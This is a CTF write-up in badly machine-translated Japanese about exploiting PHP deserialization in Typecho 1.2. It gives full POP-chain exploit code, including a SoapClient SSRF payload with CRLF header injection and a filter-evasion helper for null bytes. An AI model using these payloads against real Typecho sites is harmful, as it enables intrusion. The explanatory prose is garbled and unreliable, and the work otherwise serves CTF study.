序文
何ピットを記録する途中でtypecho1.2、およびステップをデシリアライズ
ソースコードを入手www.zip、次のような構造がある
flag.php必要性SSRFは、成功した場合、セッションを書きます
既製のペイロード(怠惰、存在する場合に最初に見つけ、インターネットに直接ソースコードを入手するために
類似した見つける
// p0sec:httpsのは。ネット/ index.phpを/アーカイブ/ 114 /
しかし、エントリポイントはinstall.phpをし、install.phpのソースコードは、グローバル検索を削除されました:
パスは、USR /プラグイン/ HelloWorldの/ Plugin.phpされ
、明らかにこれはあります直列化復元ポイントが、ここではこの方法では、長い時間のために直接使用し、その後、鳩ことができない、と私は定義されたルート==持っ
plugin.php下typecho \を:
Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action');
まず、ここを参照してください:
それは明確なエントリポイントである、Typecho_Dbに従ってください:: __構造
そしてここで私は(ピット上のステップが続く)上記の記事との考えに従ってを__toString見つけるので、文字のモザイクあり
段付ピット
358ラインFeed.php下のtoString
なし過去に、あなたは__get見つけることができます
Request.phpは
フォローアップ
_applyFilterのフォローアップを
、この値- > _のparams [「スクリーンネーム 」] 決定制御、$ _フィルタも制御可能、 RCE??(クレイジー口まで)
私は、次のポップチェーンを構築して:
<?php
class HelloWorld_DB{
private $coincidence;
public function __construct(){
$this->coincidence=(['hello'=>new Typecho_Feed(),'world'=>'typecho_']);
var_dump($this->coincidence);
}
function __wakeup(){
$db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
}
}
class Typecho_Db
{
public function __construct($adapterName, $prefix = 'typecho_')
{
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
}
}
class Typecho_Feed
{
private $_type = 'ATOM 1.0';
private $_charset = 'UTF-8';
private $_lang = 'zh';
private $_items = array();
public function __construct(){
$this->_items=array('author' => new Typecho_Request());
}
}
class Typecho_Request{
private $_filter=array();
private $_params=array();
public function __construct()
{
$this->_params['screenName'] = -1;
$this->_filter = array('phpinfo');
}
}
$a=new HelloWorld_DB();
echo base64_encode(serialize($a));
しかし、ここであまりにも多くの機能をフィルタリングし、機能コマンドが、その後、私がテストしてきた、ほぼ完全にフィルタ処理を実行、ゲームの終わりは...試してませんでした(ポップ鎖typecho1.1該当するバージョンのようなこのルックス)
正解
SSRFがフラグをリードしている理由を.... RCEことができれば、私は突然思った
まあ、実際に私が間違って探していた__toString開始、query.phpは踏み台を見つける必要があります
参照$この場合は- > _ sqlPreBuild [「 action」の] =コールにSELECT:
$this->_adapter->parseSelect($this->_sqlPreBuild)
-その後、$これを作る> _アダプタがのSoapClientの例では、トリガはSSRF完了_CALL
:コールチェーン
> - HelloWorld_DB ::ウェイクアップ
Typecho_Db :: __構築物(のtoString) - >
Typecho_Db_Query :: __構築物- >
(この- > _ =新しい新しいアダプタをSoapClient) - >
SSRF
その後、ピット:
ここ%がフィルタリングされている間、ここでは、主にプライベートメンバ変数であり、00%を満たすのに必要な民間の目に見えない文字:
次に、あなたは00%の代わりに\ 00を使用する必要があります
それをここでの知識は、前に遭遇しませんでした。
最新のCVSのPHP5では、
新しい直列化モードは、モードで比較的一般的かつ非エスケープバイナリ文字列で、バイナリ文字列を、エスケープと呼ばれる
文字列のデータ型(文字列)新しいシリアライズ形式:
S : "<長さ>": " <値>";
<長さ>はソース文字列の長さではなく、<value>は長さを特徴とします。数が正の符号(+)を有することができる前に、<length>は、負でない整数です。<value>はエスケープ後の文字列です。
これは、コーディング非常に単純なエスケープですが、文字のASCIIコードが128未満のである(ただし、\は含まない)、単一バイト(同じ秒の識別)に基づいて、文字と\文字のための255から128を、それがASCIIでありますコード値は、次の2つのバイトを始めとして\に進エンコードされた文字列に変換された文字の符号化進数、すなわちビットに対応する、ハイからローに順に配置されている8-5最初のバイト、ビット単位で第二のバイト4-1として進数字(これら小文字ABCDEF)。コード配列ダウン、<value>は、コンテンツを取得します。
例えば、Sなどの小型の通常の文字列のそれに対応する共通配列、3:「%00A% 00」、
および対応するSの配列は、Sのような大きな\プラスヘクスである:2:「\ 00A \ 00「;
例を見ては
なりません%00が16進数に変換され表示文字、大型のウェイクアップの実装を成功
小文字の後、失敗し
た後、すべて%\に変換する必要性が存在し、その後識別文字列sへS、マスター英チー方法によって:https://www.gem-love.com/ctf/2184.html#Ezpop_Revenge
function decorate($str)
{
$arr = explode(':', $str);
$newstr = '';
for ($i = 0; $i < count($arr); $i++) {
if (preg_match('/00/', $arr[$i])) {
$arr[$i-2] = preg_replace('/s/', "S", $arr[$i-2]);
}
}
$i = 0;
for (; $i < count($arr) - 1; $i++) {
$newstr .= $arr[$i];
$newstr .= ":";
}
$newstr .= $arr[$i];
return $newstr;
}
文字列:コロンブレーク配列、その後、トラバースA $ arrが[$ i]は、すべての00試合、小さなS $ [$ I-2 ARR場合 ] 置き換えではその後、Sです:スプライシングは、以下を参照してくださいこの例では、知っているだろう
、最終的なペイロードを:
<?php
class HelloWorld_DB{
private $coincidence;
public function __construct(){
$this->coincidence=(['hello'=>new Typecho_Db_Query(),'world'=>'typecho_']);
}
}
class Typecho_Db
{
public function __construct($adapterName, $prefix = 'typecho_')
{
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
}
}
class Typecho_Db_Query
{
private $_sqlPreBuild;
private $_adapter;
public function __construct(){
$this->_sqlPreBuild['action']='SELECT';
$target = "http://127.0.0.1/flag.php";
$headers = array(
'Cookie: PHPSESSID=ardpjpq1hqbu1nn6bhm2pc51v6',
);
$this->_adapter=new SoapClient(
null,
array('location' => $target,
'user_agent'=>str_replace('^^', "\r\n",'w4nder^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers)),'uri'=>'hello'));
}
}
function decorate($str)
{
$arr = explode(':', $str);
$newstr = '';
for ($i = 0; $i < count($arr); $i++) {
if (preg_match('/00/', $arr[$i])) {
$arr[$i-2] = preg_replace('/s/', "S", $arr[$i-2]);
}
}
$i = 0;
for (; $i < count($arr) - 1; $i++) {
$newstr .= $arr[$i];
$newstr .= ":";
}
$newstr .= $arr[$i];
return $newstr;
}
$a=serialize(new HelloWorld_DB());
$a = urlencode($a);
$a = preg_replace('/%00/', '%5c%30%30', $a);
$a = decorate(urldecode($a));
echo base64_encode($a);
プラス?管理者= 1に